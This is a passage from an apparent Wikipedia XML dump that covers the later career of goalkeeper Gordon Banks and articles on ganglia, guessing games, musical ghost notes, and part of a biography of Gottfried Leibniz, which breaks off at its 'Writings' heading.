It was England who dominated the final but it was Banks who was beaten first. A weak header from [[Ray Wilson (footballer)|Ray Wilson]] handed a chance to [[Helmut Haller]] whose shot wasn't fierce but was on target and needed dealing with. Banks thought Jack Charlton was going to clear; Charlton in turn thought Banks had it covered. Neither went for it as a result, and the ball crept in the corner. England equalised through a Geoff Hurst header within six minutes and went ahead late in the second half through [[Martin Peters]].

Banks had little to do during the second half but his known powers of concentration were required when Jack Charlton gave away a dubious free kick 30 yards from goal. Banks duly organised a defensive wall and got into position. [[Lothar Emmerich]] slammed the ball into the wall, the ball ricocheted across goal and Banks struggled to follow it across his six yard box, such was the speed and unpredictability of its movement as it took deflections and swipes. Ultimately German defender [[Wolfgang Weber]] reached it at the far post and swept it into the net with Banks diving in vain to get his palms to the ball. The final whistle went seconds later to send the game into extra time.

England took the lead in extra time with that hotly debated third goal from Hurst. Banks not troubled again until the final minute, when he saved a shot from Siggy Held and moments later could only watch as Uwe Seeler lunged for the ball and missed. Hurst then scored his hat-trick goal and the game was all over. Gordon Banks had 33 England caps and was a world champion. But his career at club level was shortly to take an interesting and unexpected turn.

==1966-1970==

Coming through the ranks at Leicester City was a young local goalkeeper called [[Peter Shilton]], who was given his debut as a 17-year-old in [[1966]]. It was clear that Shilton was something special, yet the man he had to displace was now regarded as the world's number one goalkeeper. When Shilton told Leicester he wouldn't sign a professional contract unless he was guaranteed first team football, Banks found himself available for transfer, just a year after winning the World Cup.

Banks joined Stoke City and maintained his England place, while Shilton lost in Leicester's third FA Cup final of the 1960s (the [[1969]] game against [[Manchester City F.C.|Manchester City]]) and began to make his name. Ramsey gave the odd chance to Chelsea keeper [[Peter Bonetti]], [[Everton F.C.|Everton]]'s [[Gordon West]] and Manchester United's [[Alex Stepney]], but when the big games came along, it was only Banks.

England reached the last four of the [[1968 European Football Championship|1968 European Championships]] where they lost to [[Yugoslavia national football team|Yugoslavia]] in [[Florence]]. A year later, Banks picked up his 50th cap as England defeated Scotland 4-1 at Wembley. He played in nine more internationals prior to the start of the 1970 World Cup in [[Mexico]], for which England once again had not needed to qualify, this time owing to their status as holders.

Banks, who discovered just after arriving in Mexico that he had been decorated with the [[Order of the British Empire|OBE]], played his 60th England game in the opening group victory over [[Romania national football team|Romania]] before taking to the field for the keenly-awaited clash with [[Brazil national football team|Brazil]]. After just ten minutes, Banks wrote himself into football folklore.

==The 1970 save against Pelé==

Playing at pace, Brazil were putting England under enormous pressure and an attack was begun by captain [[Carlos Alberto]] who sent a fizzing low ball down the right flank for the speedy [[Jairzinho]] to latch on to. The Brazilian winger sped past left back [[Terry Cooper]] and reached the byline. Stretching slightly, he managed to get his toes underneath the fast ball and deliver a high but dipping cross towards the far post. Banks, like all goalkeepers reliant on positional sensibility, had been at the near post and suddenly had to turn on his heels and follow the ball to its back post destination.

Waiting for the ball was [[Pelé]], who had arrived at speed and with perfect timing. He leapt hard at the ball above England right back [[Tommy Wright]] and thundered a harsh, pacy downward header towards Banks' near post corner. Banks was still making his way across the line from Jairzinho's cross and in the split-second of assessment the incident allowed, it seemed impossible for him to get to the ball. Yet he hurled himself downwards and backwards and got the base of his thumb to the ball, with the momentum sending him cascading to the ground. It was only when he heard the applause and praise of captain [[Bobby Moore]] and then looked up and saw the ball trundling towards the [[advertising]] hoardings at the far corner, that he realised he'd managed to divert the ball over the bar - he'd known he got a touch but still assumed the ball had gone in. England were not being well received by the locals after cutting comments made about Mexico prior to the tournament by Ramsey, but spontaneous applause rang around the [[Guadalajara, Jalisco]] stadium as Banks got back into position to defend the resulting corner. Pelé, who'd begun to celebrate a goal when he headed the ball, would later describe the save as the greatest he'd ever seen.

Brazil still won 1-0 - Jairzinho guided a shot past Banks in the second half - but England missed chances to get something, with [[Jeff Astle]] infamously putting the ball wide of an open goal and [[Alan Ball (footballer)|Alan Ball]] striking the crossbar. England ultimately joined Brazil in the last eight after a win in the final group game against [[Czechoslovakia national football team|Czechoslovakia]]. The reward was a rematch of the 1966 final against West Germany.

==England vs West Germany 1970==

The day before the game Banks and England's hopes of making further inroads into the World Cup were dented when he started to complain of an upset stomach. He subsequently spent long periods in the [[bathroom]] and despite rest and medication, he did not seem to be recovering in time. But on the day of the game, he offered a glimmer of hope to Ramsey when he said he felt better and asked for a fitness test. He caught a few balls and did some short sprints but something was not right and Ramsey decided he couldn't risk him. Bonetti was summoned to take his place. The overheard remark by Ramsey after Banks' absence from the game was confirmed was: ''&quot;Of all the players to lose, we had to lose him.&quot;''

Bonetti played fine for an hour and England went into a commanding 2-0 lead, with Peters scoring against the Germans again after [[Alan Mullery]] had put the defending champions ahead. Ramsey then substituted Bobby Charlton, freeing the dangerous [[Franz Beckenbauer]] from his marking duties. Beckenbauer duly hit a low shot under the body of Bonetti, who had been slow to react, and the Germans had hope. In the last ten minutes, veteran striker [[Uwe Seeler]] looped a back header over Bonetti to take the game into extra time; then [[Gerd Müller]] smashed home the winner in the added period.

[[Conspiracy|Conspiracies]] began to surface that Banks had been &quot;nobbled&quot; by someone in England's hotel and that his food had been somehow spiked. This was dismissed by Banks, who watched the game on his hotel TV and saw England go 2-0 ahead. After another visit to the bathroom, he returned to his bed and, feeling rough and sleepy, switched off his TV set to take a nap, assuming the match was won. He was woken by his second understudy, Stepney, who came to his room to signal the devastating final score with his fingers.

==England's No.1 (1970-1972)==

Banks did not play in England's first game after the World Cup, with Ramsey electing to give his old understudy Shilton a debut against [[East Germany national football team|East Germany]] at Wembley. This would be a sign of things to come, but not for a little while. Banks would play in ten of the next 12 internationals as England tried to qualify for the [[1972 European Football Championship|1972 European Championships]] but lost yet again to West Germany prior to the finals stage. During this period, Banks was also involved in a notorious incident with Manchester United's [[George Best]] who, while playing against England for [[Northern Ireland national football team|Northern Ireland]], flicked the ball out of Banks' hands and headed it into the net as the protesting goalkeeper chased him. The goal was disallowed for ungentlemanly conduct and England won 1-0, but Banks was left feeling rather embarrassed.

At club level, Banks came up with his second most famous save when spectacularly palming a vicious penalty from his England team-mate Hurst over the crossbar as Stoke defeated [[West Ham United F.C.|West Ham United]] in the semi final of the [[1972]] League Cup. Banks duly reached his third League Cup final and won it for the second time, when Stoke beat Chelsea 2-1 at Wembley. Having lost two FA Cup finals, Banks' attempts to be luckier with Stoke in the competition fell agonisingly short as [[Arsenal F.C.|Arsenal]] beat them in the semi finals of both the [[1971]] and 1972 competitions.

Banks played his 73rd England game in a 1-0 win over Scotland at [[Hampden Park]] on [[27th May]] 1972 and was awarded the ''[[Football Writers' Association|Football Writers' Association Footballer Of The Year]]'' honour. He was 34-years-old and at the peak of his abilities and powers. He began the next season with Stoke in his usual unflappable manner, but then his top-flight career would be suddenly and violently brought to an end.

==A new life==

On [[22nd October]] [[1972]], while driving home from a session with the Stoke [[physiotherapist]], Banks lost control of his car which ended up in a ditch. He lost consciousness and was rushed to hospital. When he came round, he was informed that though he had not suffered any life-threatening injury, he had lost the sight of one eye. He considered trying to resume his career as a goalkeeper but even he had to accept that his restricted vision was an obvious barrier to maintaining his goalkeeping livelihood. Shilton became England's number one and, it was he whom Stoke bought in [[1974]] as Banks' long-term replacement.

Banks went into scouting, managed non-league side [[Telford United F.C.|Telford United]] and did some work on the commercial side of football. He then went to play as a named superstar in the [[North American Soccer League|NASL]] for [[Fort Lauderdale Strikers]] alongside his old nemesis Best. He later began a business which distributed tickets for big events to corporate clients, but this fell into a mini-scandal when he received a restricted ban on getting tickets for the FA Cup final after some attributed to his company fell into the wrong hands.

Banks met his [[wife]] Ursula while on national service in Germany and they married after he returned to England. He now lives in quiet retirement but is still regarded, as a [[Channel 4]] poll to find England's greatest XI showed recently, as the best goalkeeper England has ever produced, and many would claim no goalkeeper in the world has been better. Banks was an Inaugural Inductee to the [[English Football Hall of Fame]] in 2002.[http://www.nationalfootballmuseum.com/Hall%20of%20Fame/gordonbanks.htm] He was awarded an honorary doctorate from [[Keele University]] in February 2006.

{{start box}}
{{succession box|title=[[FWA Footballer of the Year|Football Writers' Association Footballer of the Year]]|before=[[Frank McLintock]] |after=[[Pat Jennings]]|years=1972}}
{{end box}}

[[Category:1937 births|Banks, Gordon]]
[[Category:Living people|Banks, Gordon]]
[[Category:FIFA 100|Banks, Gordon]]
[[Category:Football (soccer) goalkeepers|Banks, Gordon]]
[[Category:English footballers|Banks, Gordon]]
[[Category:England footballers|Banks, Gordon]]
[[Category:Chesterfield F.C. players|Banks, Gordon]]
[[Category:Leicester City F.C. players|Banks, Gordon]]
[[Category:Stoke City F.C. players|Banks, Gordon]]
[[Category:NASL players|Banks, Gordon]]
[[Category:Officers of the British Empire|Banks, Gordon]]

[[de:Gordon Banks]]
[[fi:Gordon Banks]]
[[fr:Gordon Banks]]
[[gl:Gordon Banks]]
[[it:Gordon Banks]]
[[he:גורדון בנקס]]
[[no:Gordon Banks]]
[[sv:Gordon Banks]]</text>
    </revision>
  </page>
  <page>
    <title>Ganglion</title>
    <id>12278</id>
    <revision>
      <id>40303073</id>
      <timestamp>2006-02-19T17:47:54Z</timestamp>
      <contributor>
        <username>Rmky87</username>
        <id>325543</id>
      </contributor>
      <minor />
      <comment>dablinked spinal ganglia</comment>
      <text xml:space="preserve">[[Image:DRG Chicken e7.jpg|thumb|340px|This is a dorsal root ganglion (DRG) from a chicken embryo (around stage of day 7) after incubation overnight in NGF growth medium stained with anti-neurofilament antibody. You can see the axons growing out of the ganglion.]]

In [[vertebrate]] [[anatomy]], a '''ganglion''' is a [[biological tissue|tissue]] mass that contains the [[dendrite]]s and cell bodies (or &quot;somata&quot;) of [[neuron|nerve cell]]s, in most case ones belonging to the [[PNS|peripheral nervous system]]. Within the [[central nervous system]] such a mass is often called a [[nucleus (neuroanatomy)|nucleus]]. An interconnected group of ganglia is called a [[plexus]].

There are two major groups of ganglia: [[spinal ganglion|spinal ganglia]] and [[autonomic ganglion|autonomic ganglia]]. The former contains the cell bodies of [[sense|sensory]] [[nerve]]s and the latter contains the cell bodies of [[autonomic nervous system|autonomic]] nerves.

In the [[autonomic nervous system]], fibers extending from the [[Central nervous system | CNS]] to the ganglion are known as ''preganglionic fibers'', while those from the ganglion to the effector organ are called ''postganglionic fibers''.

==See also==
*[[nervous system]]
*[[neuron]]
*[[ganglion cell]]
*[[ganglion cyst]]


[[Category:Neuroscience]]
[[Category:Central nervous system]]
[[Category:Peripheral nervous system]]
[[Category:Medical terms]]

[[de:Ganglion (Nervensystem)]]
[[es:Ganglio]]
[[fr:Ganglion]]
[[it:Ganglio]]
[[pt:Gânglio nervoso]]
[[sv:Ganglion]]</text>
    </revision>
  </page>
  <page>
    <title>Guessing game</title>
    <id>12279</id>
    <revision>
      <id>39124005</id>
      <timestamp>2006-02-10T21:42:32Z</timestamp>
      <contributor>
        <username>Bluebot</username>
        <id>527862</id>
      </contributor>
      <minor />
      <comment>Bringing &quot;External links&quot; and &quot;See also&quot; sections in line with the [[Wikipedia:Manual of Style|Manual of Style]].</comment>
      <text xml:space="preserve">A '''guessing game''' is a [[game]] in which the [[Object (task)|object]] is to guess some kind of information, such as a word, a phrase, a title, or the location of an object.

Many of the games are played co-operatively. Some [[player (game)|player]](s) know the answer, but cannot tell the other(s), instead they must help them to guess it.

== Examples ==

* [[Battleship (game)|Battleship]]
* [[Charades]]
* [[Hangman]]
* [[I spy]]
* [[Mastermind (board game)|Mastermind]]
* [[Name that tune]]
* [[Pictionary]]
* [[Quizbowl]]
* [[Seekipedia]]
* [[Twenty questions]]
* [[Who's closest]]
* [[Guess Who?]]

== See also ==

* [[Mental game|Mind Games]]
[[Category:Guessing games|*]]</text>
    </revision>
  </page>
  <page>
    <title>Ghost notes</title>
    <id>12280</id>
    <revision>
      <id>38221845</id>
      <timestamp>2006-02-05T00:03:01Z</timestamp>
      <contributor>
        <username>AxelBoldt</username>
        <id>2</id>
      </contributor>
      <minor />
      <comment>[[WP:AWB|AWB assisted]] spelling of &quot;occurring&quot;; see [[WP:Typo]]</comment>
      <text xml:space="preserve">'''Ghost notes''' are [[musical notes]] occurring in a rhythmic figure which are purposely deemphasized, often nearly to the point of silence.

A rhythmic figure may be punctuated by certain notes which are [[accent (music)|accented]] (emphasized), in which case we would say that the unaccented notes in the figure are played with a 'normal' degree of emphasis. This is the case, for instance, in a [[clave (rhythm)|clave]] pattern, whose notes are spaced evenly across time but with certain notes in the pattern receiving a degree of emphasis which makes them stand out, in terms of volume, from the others. Therefore, in a clave pattern, we have accented as well as unaccented notes. (Semantically, some might argue that a clave pattern is really only made up of the accented notes, with any unaccented notes being placeholders and not part of the pattern. This is open to debate, and depends largely on instrumentational factors.)

Ghost notes, however, are not simply the unaccented notes in a pattern. The unaccented notes in such a pattern as a clave are considered to represent the mean level of emphasis--they are neither absolutely emphasized nor unemphasized. If one &lt;I&gt;further&lt;/I&gt; deemphasizes one of these unaccented notes to the same or a similar extent to which the accented notes in the pattern are emphasized, then one has 'ghosted' that note.

In jazz [[music notation|notation]] for wind instruments or [[string instruments]], the intent of a composer for a note to be ghosted is often indicated by using an 'x' for a notehead rather than an oval.

In a case in which a ghost note is deemphasized to the point of silence, that note then represents a rhythmic placeholder in much the same way as does a [[rest (music)|rest]]. This can be a very fine distinction, and the ability of an instrumentalist to differentiate between what is a ghost note and what is a rest is governed largely by the acoustic nature of the instrument. [[Wind instrument]]s, including the human voice, and [[guitar]]s are examples of instruments generally capable of ghosting notes without making them synonymous with rests, while a [[pianist]] or [[percussionist]] would have more difficulty in creating this distinction because of the percussive nature of the instruments, which hampers the resolution of the volume [[gradient]] as one approaches silence. However, in such a case as that the ghost notes were clearly audible, while being far less prominent than the unaccented notes which represent the mean degree of emphasis within the example, then a percussionist could be said to create what we might define as ghost notes.

As a practical example, consider a [[guitarist]] who wishes to ghost one note within a rhythmic figure he or she is playing. The guitarist would accomplish this by decreasing the pressure the fretting hand is exerting upon the strings when plucking the note to be ghosted (without actually removing the hand from the fretboard, which would cause the free vibration and the sounding of the fundamental (open) pitches of those strings which were plucked). The result would be what is sometimes called a 'scratch', and this would be an example of a ghost note (unless all the unaccented notes in the same figure were 'scratched', in which case the scratches would just be unaccented notes!) Therefore, we can see that the phenomenon of the ghost note is really a relative one. Mathematically speaking, if an accented note in a pattern receives the emphasis +1, and if an unaccented note received an emphasis of 0, then a ghost note would be a note in the pattern given an emphasis of -1. 

A frequent misconception is that [[grace note]]s and ghost notes are synonymous. A grace note is by definition decidedly shorter in length than the principal note which it 'graces', but in many examples the grace note receives a greater degree of accentuation (emphasis) than the principal itself, even though it is a much shorter note than the principal. In other words, while a grace note could be ghosted, the ghosting of notes is a function of volume rather than of duration.

The term '''ghost note''', then, can have various meanings. The term '''anti-accent''' is more specific. Moreover, there exists a set of anti-accent marks to show gradation more specifically.
Percussion music in particular makes use of anti-accent marks, as follows:

1) slightly softer than surrounding notes: u (breve)

2) significantly softer than surrounding notes: ( ) (note head in parentheses)

3) much softer than surrounding notes: [ ] (note head in brackets)


[[Category:Musical notation]]</text>
    </revision>
  </page>
  <page>
    <title>Gottfried Leibniz</title>
    <id>12281</id>
    <revision>
      <id>41602386</id>
      <timestamp>2006-02-28T12:43:10Z</timestamp>
      <contributor>
        <username>Mohammed Khalil</username>
        <id>541247</id>
      </contributor>
      <minor />
      <comment>+ar</comment>
      <text xml:space="preserve">{{Infobox_Philosopher |
  &lt;!-- Scroll down to edit this page --&gt;
  &lt;!-- Philosopher Category --&gt;
  region          = Western Philosophers |
  era             = [[17th-century philosophy]]&lt;br&gt;(Modern Philosophy) |
  color           = #B0C4DE |

  &lt;!-- Image and Caption --&gt;
  image_name      = Gottfried Wilhelm von Leibniz.jpg |
  image_caption   = Gottfried Wilhelm Leibniz  |

  &lt;!-- Information --&gt;
  name             = Gottfried Wilhelm Leibniz |
  birth            = [[July 1]], [[1646]] ([[Leipzig]], [[Germany]]) |
  death            = [[November 14]], [[1716]] ([[Hanover]], [[Germany]]) |
  school_tradition = [[Continental rationalism]] |
  main_interests   = [[Metaphysics]], [[Epistemology]], [[Science]], [[Mathematics]], [[theodicy]] |
  influences       = [[Plato]], [[Aristotle]], [[Scholastic philosophy]], [[Rene Descartes|Descartes]], [[Christiaan Huygens]] |
  influenced       = Many later mathematicians, [[Christian Wolff]], [[Kant]], [[Bertrand Russell]] |
  notable_ideas    = [[Calculus]] we all use, innate knowledge, [[optimism]], [[monad]]  |
}}

'''Gottfried Wilhelm Leibniz''' (also '''von Leibni(t)z''') ([[July 1]] ([[June 21]] [[Old Style and New Style dates|Old Style]]) [[1646]], [[Leipzig]] &amp;ndash; [[November 14]] [[1716]], [[Hanover]]) was a German [[polymath]], deemed a [[genius]] in his day and since.

Educated in [[law]] and [[philosophy]], and serving as factotum to two major German noble houses (one becoming the British royal family while he served it), Leibniz played a major role in the European politics and diplomacy of his day. He occupies an equally large place in both the [[history of philosophy]] and the [[history of mathematics]]. He invented [[calculus]] independently of [[Isaac Newton|Newton]], and his notation is the one in general use since. In philosophy, he is most remembered for [[optimism]], i.e., his conclusion that our universe is, in a restricted sense, the best possible one God could have made. He was, along with [[Rene Descartes|René Descartes]] and [[Baruch Spinoza]], one of the three great 17th century [[Continental rationalism|rationalists]], but his philosophy also both looks back to the [[scholastic philosophy|Scholastic]] tradition and anticipates [[logic]] and [[analytic philosophy|analysis]].

Leibniz also made major contributions to [[physics]] and [[technology]], and anticipated notions that surfaced much later in [[biology]], [[medicine]], [[geology]], [[psychology]], [[knowledge engineering]], and [[information science]]. Key figures in their fields submit that his writings contain anticipations of [[relativity]], [[fractal geometry]], and even [[quantum mechanics]]. He also wrote on [[politics]], [[law]], [[ethics]], [[theology]], [[history]], and [[philology]], even occasional verse. His contributions to this vast array of subjects are scattered in journals and in tens of thousands of letters and unpublished manuscripts. To date, there is no complete edition of Leibniz's writings, and a complete account of his accomplishments is not yet possible.

==Life==
The only biography in English is Aiton (1986). A lively short account of Leibniz’s life, one also doing fair justice to the breadth of his interests and activities, is Mates (1986: 14-35), who cites the German biographies extensively. Also see [http://www.etext.leeds.ac.uk/leibniz/leibniz.htm MacDonald Ross (1984: chpt. 1)], the chapter by Ariew in Jolley (1995), and Jolley (2005: chpt. 1). For a biographical glossary of Leibniz's intellectual contemporaries, see AG 350.

===Coming of age===
Leibniz's parents were Friedrich Leibnütz and Catherina Schmuck. He began spelling his name &quot;Leibniz&quot; early in adult life, but others often referred to him as &quot;Leibnitz,&quot; a spelling which persisted until the 20th century. In later life, he often signed himself &quot;von Leibniz&quot;, and many posthumous editions of his works gave his name on the title page as &quot;Freiherr [Baron] G. W. von Leibniz.&quot; But no document has been found confirming that he was ever granted a patent of nobility (Aiton 1985: 312). In the 17th and 18th centuries, it was not unusual for the ambitious to insert, starting in midlife, a &quot;de&quot; or &quot;von&quot; before their surnames, to suggest a nobility which they in fact did not possess; cases in point include [[Voltaire]] and [[Beaumarchais]].
 
When Leibniz was 8 years old, his father, a Professor of Moral Philosophy at the [[University of Leipzig]], died, leaving a personal library to which Leibniz was granted free access from age 8 onwards. By 12, he had taught himself [[Latin language|Latin]], a language he employed freely all his life, and had begun [[Greek language|Greek]]. He entered his father's university at 15, and completed his university studies by age 20, specializing in law and mastering the standard university course of his day and place in classics, logic, and scholastic philosophy. His education in mathematics was not up to the French and British standard of the day. In 1666, he published his first book, also his [[habilitation]] thesis in philosophy, ''On the Art of Combinations''. When [[Leipzig]] declined to assure him a position teaching law upon graduation, Leibniz submitted to the University of [[Altdorf bei Nürnberg|Altdorf]] near [[Nuremberg]] the thesis he had intended to submit at Leipzig, and obtained his doctorate in law in five months. He then declined an offer of academic appointment at Altdorf, and spent the rest of his life in the service of two major German noble families.

===Career===
The outline of Leibniz's career is as follows:
* 1666-74: Mainly in service to the [[Elector]] of [[Mainz]], [[Schönborn|Johann Philipp von Schönborn]], and his minister, Baron von Boineburg.
** 1672-76. Resides in Paris, making two important sojourns to London.
* 1676-1716. In service to the [[Rulers of Hanover|House of Hanover]].
**1677-98. Courtier, first to [[John Frederick, Duke of Brunswick-Lüneburg]], then to his son, Elector [[Ernest Augustus, Elector of Brunswick-Lüneburg|Ernst August of Hanover]].
***1687-90. Travels extensively in Germany, Austria, and Italy, researching a book the Elector has commissioned him to write on the history of the House of Brunswick. 
**1698-1714: Courtier to Elector [[George I of Great Britain|Georg Ludwig of Hanover]].
***1712-14: Imperial Court Councillor at the [[Hapsburg]] court in [[Vienna]].
**1714-16: Georg Ludwig, upon becoming [[George I of Great Britain]], forbids Leibniz to follow him to London. Leibniz ends his days in relative neglect.

Leibniz's first position was as a salaried alchemist in [[Nuremberg]], even though he knew nothing about the subject. He soon met [[J. C. von Boineburg]], the dismissed chief minister of the [[Elector]] of [[Mainz]], [[Schönborn|Johann Philipp von Schönborn]]. Von Boineburg hired Leibniz as an assistant, and shortly thereafter reconciled with the Elector and introduced Leibniz to him. Leibniz then dedicated an essay on law to the Elector in the hope of obtaining employment. The stratagem worked; the Elector asked Leibniz to assist with the redrafting of the legal code for his Electorate. In 1669, Leibniz was appointed Assessor in the Court of Appeal. Although von Boineburg died late in 1672, Leibniz remained in the employ of his widow until she dismissed him in 1674.

Von Boineburg did much to promote Leibniz's reputation, and the latter's memoranda and letters began to attract favorable notice. Leibniz's service to the Elector soon took on a [[diplomat]]ic role. He published an essay, under the pseudonym of a fictitious [[Poland|Polish]] nobleman, arguing (unsuccessfully) for the German candidate for the Polish crown. The main European geopolitical reality during Leibniz's adult life was the ambition of the French king, [[Louis XIV]], backed by French military and economic might. Meanwhile, the [[Thirty Years War]] had left German-speaking Europe exhausted, fragmented, and economically backward. Leibniz proposed to protect German-speaking Europe by distracting Louis as follows. France would be invited to take [[Egypt]] as a stepping stone towards an eventual conquest of the [[Dutch East Indies]]. In return, France would agree to leave Germany and the Netherlands undisturbed. This plan obtained the Elector's cautious support. In 1672, the French government invited Leibniz to [[Paris]] for discussion, but the plan was soon overtaken by events and became moot. Napoleon's failed invasion of Egypt in 1798 can be seen as an unwitting implementation of Leibniz's plan.

Thus Leibniz began several years in Paris, during which he greatly expanded his knowledge of mathematics and physics, and began contributing to both. He met [[Malebranche]] and [[Antoine Arnauld]], the leading French philosophers of the day, and studied the writings of [[Descartes]] and [[Blaise_Pascal| Pascal]], unpublished as well as published. He befriended a German mathematician, [[Ehrenfried Walther von Tschirnhaus]]; they corresponded for the rest of their lives. Especially fateful was Leibniz's making the acquaintance of the  [[Netherlands| Dutch]] physicist and mathematician [[Christiaan Huygens]], then active in Paris. Soon after arriving in Paris, Leibniz received a rude awakening; his knowledge of mathematics and physics was spotty. With Huygens as mentor, he began a program of self-study that soon resulted in his making major contributions to both subjects, including inventing the [[calculus]].

When it became clear that France would not implement its part of Leibniz's Egyptian plan, the Elector sent his nephew, escorted by Leibniz, on a related mission to the British government in [[London]], early in 1673. There Leibniz made the acquaintance of [[Henry Oldenburg]] and [[John Collins (mathematician)|John Collins]]. After demonstrating to the [[Royal Society]] a calculating machine he had been designing and building since 1670, the first such machine that could execute all four basic arithmetical operations, the Society made him an external member. The mission ended abruptly when news reached it of the Elector's death, whereupon Leibniz promptly returned to Paris and not, as had been planned, to Mainz.

The sudden deaths of Leibniz's two patrons in the same winter meant that Leibniz had to find a new basis for his career. In this regard, a 1669 invitation from the Duke of [[Brunswick-Lüneburg|Brunswick]] to visit Hanover proved fateful. Leibniz declined the invitation, but began corresponding with the Duke in 1671. In 1673, the Duke offered him the post of Counsellor which Leibniz very reluctantly accepted two years later, only after it became clear that no employment in Paris, whose intellectual stimulation he relished, or with the [[Hapsburg]] imperial court was forthcoming.

Leibniz managed to delay his arrival in Hanover until the end of 1676, after making one more short journey to London, where he was shown some of [[Newton]]'s unpublished work on the calculus. This fact was deemed evidence supporting the accusation, made decades later, that he had stolen the calculus from Newton. On the journey from London to Hanover, Leibniz stopped in [[The Hague]] where he met [[Leeuwenhoek]], the discoverer of microorganisms. He also spent several days in intense discussion with [[Spinoza]], who had just completed his masterwork, the ''[[Ethics]]''. Leibniz respected Spinoza's powerful intellect, but was dismayed by his conclusions that (in Leibniz's view) contradicted Christian orthodoxy.

In 1677, he was promoted, at his request, to Privy Counsellor of Justice, a post he held for the rest of his life. Leibniz served three consecutive rulers of the House of Brunswick as historian, political adviser, and most consequentially, as librarian of the ducal library. He thenceforth employed his pen on all the various political, historical, and [[theological]] matters involving the House of Brunswick; the resulting documents form a valuable part of the historical record for the period.

Among the few people in north Germany to warm to Leibniz were the Electress [[Sophia of Hanover]] (1630-1714), her daughter [[Sophia Charlotte of Hanover]] (1668-1705), the Queen of Prussia and his avowed disciple, and [[Caroline of Ansbach]], the consort of her grandson, the future [[George II]]. To each of these women he was correspondent, adviser, and friend. In turn, they all warmed to him more than did their spouses and the future king  [[George I of Great Britain]]. For a recent study of Leibniz's correspondence with Sophia Charlotte, see [http://www.philosophy.leeds.ac.uk/GMR/homepage/sophiec.html MacDonald Ross] (1998).

The population of Hanover was only about 10,000, and its provinciality eventually grated on Leibniz. Nevertheless, to be a major courtier to the House of [[Brunswick-Lüneburg|Brunswick]] was quite an honor, especially in light of the meteoric rise in the prestige of that House during Leibniz's association with it. In 1692, the Duke of Brunswick became a hereditary [[Elector]] of the [[Holy Roman Empire]]. By virtue of being a granddaughter of [[James VI of Scotland and I of England|James I]], the Electress Sophia was in the line of succession to the British throne. Moreover she was neither Catholic nor married to one. Invoking these facts, the British [[Act of Settlement]] of 1701 designated her and her descent as the royal family of the United Kingdom, once both King [[William I]] and his sister and successor, [[Queen Anne]], were dead. Leibniz played a role in the initiatives and negotiations leading up to that Act, but not always an effective one. For example, something he published anonymously in England, thinking to promote the Brunswick cause, was formally censured by the [[British Parliament]].
 
The Brunswicks tolerated the enormous effort Leibniz devoted to intellectual pursuits unrelated to his duties as a courtier, pursuits such as perfecting the calculus, writing about other mathematics, logic, physics, and philosophy, and keeping up a vast correspondence. He began working on the calculus in 1674; the earliest evidence of its use in his surviving notebooks is 1675. By 1677 he had a coherent system in hand, but did not publish it until 1684. Leibniz's most important mathematical papers were published between 1682 and 1692, usually in a journal which he and Otto Mencke founded in 1682, the [http://www.library.utoronto.ca/robarts/microtext/collection/pages/actaerud.html ''Acta Eruditorum'']. That journal played a key role in advancing his mathematical and scientific reputation, which in turn enhanced his eminence in diplomacy, history, theology, and philosophy.

The Elector [[Ernest Augustus, Elector of Brunswick-Lüneburg|Ernst August]] commissioned Leibniz to write a history of the House of [[Brunswick-Lüneburg|Brunswick]], going back to the time of [[Charlemagne]] or earlier, hoping that the resulting book would advance his dynastic ambitions. From 1687 to 1690, Leibniz traveled extensively in Germany, Austria, and Italy, seeking and finding archival materials bearing on this project. Decades went by but no history appeared; the next Elector became quite annoyed at Leibniz's apparent dilatoriness. Leibniz never finished the project, in part because of his huge output on many other fronts, but also because he insisted on writing a meticulously researched and erudite book based on archival sources, when his patrons would have been quite happy with a short popular book, one perhaps little more than a [[genealogy]] with commentary, to be completed in three years or less. They never knew that he had in fact carried out a fair part of his assigned task: when the material Leibniz had written and collected for his history of the House of Brunswick was finally published in the 19th century, it filled three volumes.

In 1711, [[John Keill]], writing in the journal of the Royal Society and with Newton's presumed blessing, accused Leibniz of having plagiarized Newton's calculus. Thus began the [[Newton v. Leibniz calculus controversy|calculus priority dispute]] which darkened the remainder of Leibniz's life. A formal investigation by the Royal Society (in which Newton was an unacknowledged participant), undertaken in response to Leibniz's demand for a retraction, upheld Keill's charge. Historians of mathematics writing since 1900 or so have tended to acquit Leibniz, pointing to important differences between Leibniz's and Newton's versions of the calculus.
 
In 1711, while traveling in northern Europe, the Russian [[Tsar]] [[Peter the Great]] stopped in Hanover and met Leibniz, who then took some interest in matters Russian over the rest of his life. In 1712, Leibniz began a two year residence in [[Vienna]], where he was appointed Imperial Court Councillor to the [[Hapsburg]]s. On the death of Queen Anne in 1714, Elector Georg Ludwig became King [[George I of Great Britain]], under the terms of the 1701 [[Act of Settlement]]. Even though Leibniz had done much to bring about this happy event, it was not to be his hour of glory. Despite the intercession of the Princess of Wales, [[Caroline of Ansbach]], George I forbad Leibniz to join him in London until he completed at least one volume of the history of the Brunswick family his father had commissioned nearly 30 years earlier. Moreover, for George I to include Leibniz in his London court would have been deemed insulting to Newton, who was seen as having won the calculus priority dispute and whose standing in British official circles could not have been higher. Finally, his dear friend and defender, the dowager Electress [[Sophia of Hanover|Sophia]], died in 1714.

When Leibniz died in 1716, he was so out of favor that neither George I (who happened to be near Hanover at the time) nor any fellow courtier other than his personal secretary attended the funeral. Even though Leibniz was a life member of the Royal Society and the Berlin Academy of Sciences, neither organization saw fit to honor his passing. His grave went unmarked for more than 50 years. Thus the indifference of official Germany and England to the passing of the most accomplished European mind since Aristotle. Leibniz was eulogized by [[Fontenelle]], before the Academie des Sciences in Paris, which had admitted him as a foreign member in 1700. The eulogy was composed at the behest of the [[Elizabeth Charlotte, Princess Palatine|Duchess of Orleans]], a niece of the Electress Sophia.

Leibniz never married. He complained on occasion about money, but the fair sum he left to his sole heir, his sister's stepson, proved that the Brunswicks had, by and large, paid him well. In his diplomatic endeavors, he at times verged on the unscrupulous, as was all too often the case with professional diplomats of his day. On several occasions, Leibniz backdated and altered personal manuscripts, actions which cannot be excused or defended and which put him in a bad light during the calculus controversy. On the other hand, he was charming and well-mannered, with many friends and admirers all over Europe.

===Writings===
